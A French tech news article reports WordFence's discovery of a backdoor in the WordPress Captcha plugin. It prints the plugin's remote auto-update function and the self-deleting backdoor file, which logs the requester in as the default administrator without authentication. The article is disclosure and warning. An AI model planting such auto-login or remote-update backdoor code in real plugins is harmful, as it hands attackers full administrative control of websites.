Ajouter un commentaire

Une porte dérobée dans le plugin WordPress Captcha !

Par:
fredericmazue

mer, 20/12/2017 - 15:27

Récemment, le plugin Captcha a été supprimé du référentiel de plugins par l'équipe de WordPress, avant d'être remplacé par une version propre. Voici pourquoi.

Chaque fois que le dépôt WordPress supprime un plugin avec une grande base d'utilisateurs, nous vérifions si cela est lié à la sécurité, explique WordFence dans le billet qui détaille l'affaire. Pour mémoire, WordFence édite des plugins de sécurité pour le CMS WordPress.

Et c'était bien le cas pour le plugin Captcha qui totalise au moins 300 000 installations actives.

L'équipe de WordFence y a découvert ce code :

function cptch_wp_plugin_auto_update()
{
    require_once ('cptch_wp_auto_update.php');
    global $cptch_plugin_info;

    $wptuts_plugin_current_version = $cptch_plugin_info['Version'];
    $wptuts_plugin_remote_path = 'https://simplywordpress[dot]net/captcha/captcha_pro_update.php';

    $wptuts_plugin_slug = plugin_basename(__FILE__);

    new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);
}

Ce code traite la mise à jour du plugin et télécharge un fichier ZIP à partir de https://simplywordpress[dot]net, site de la société éditrice de Captcha depuis que l'éditeur original BestWebSoft lui a cédé.  Dans le fichier ZIP se trouvait notamment le fichier plugin-update.php contenant ce code :

@unlink(__FILE__);

require('../../../wp-blog-header.php');require('../../../wp-includes/pluggable.php');

$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
    wp_clear_auth_cookie();
    wp_set_current_user ( $user->ID );
    wp_set_auth_cookie  ( $user->ID );
 
   $redirect_to = user_admin_url();
    wp_safe_redirect( $redirect_to );

    exit();
}

Ce code n'est ni plus ni moins qu'une porte dérobée qui crée une session pour l'utilisateur 1 c'est-à-dire l'administrateur par défaut créé par défaut lors de l'installation de WordPress.

N'importe qui pouvant exécuter ce code qui ne nécessite pas d'authentification, n'importe qui pouvait obtenir tous les droit administrateur des sites WordPress avec le plugin Captcha installé...

Responsables de sites, mettez à jour Captcha sans attendre, si la mise à jour automatique n'est pas activée sur vos WordPress.

Filtered HTML

Plain text

CAPTCHA
Cette question permet de vérifier que vous n'êtes pas un robot spammeur :-)
  AA   EEEE  DDD   DDD   M   M 
A A E D D D D MM MM
AAAA EEE D D D D M M M
A A E D D D D M M
A A EEEE DDD DDD M M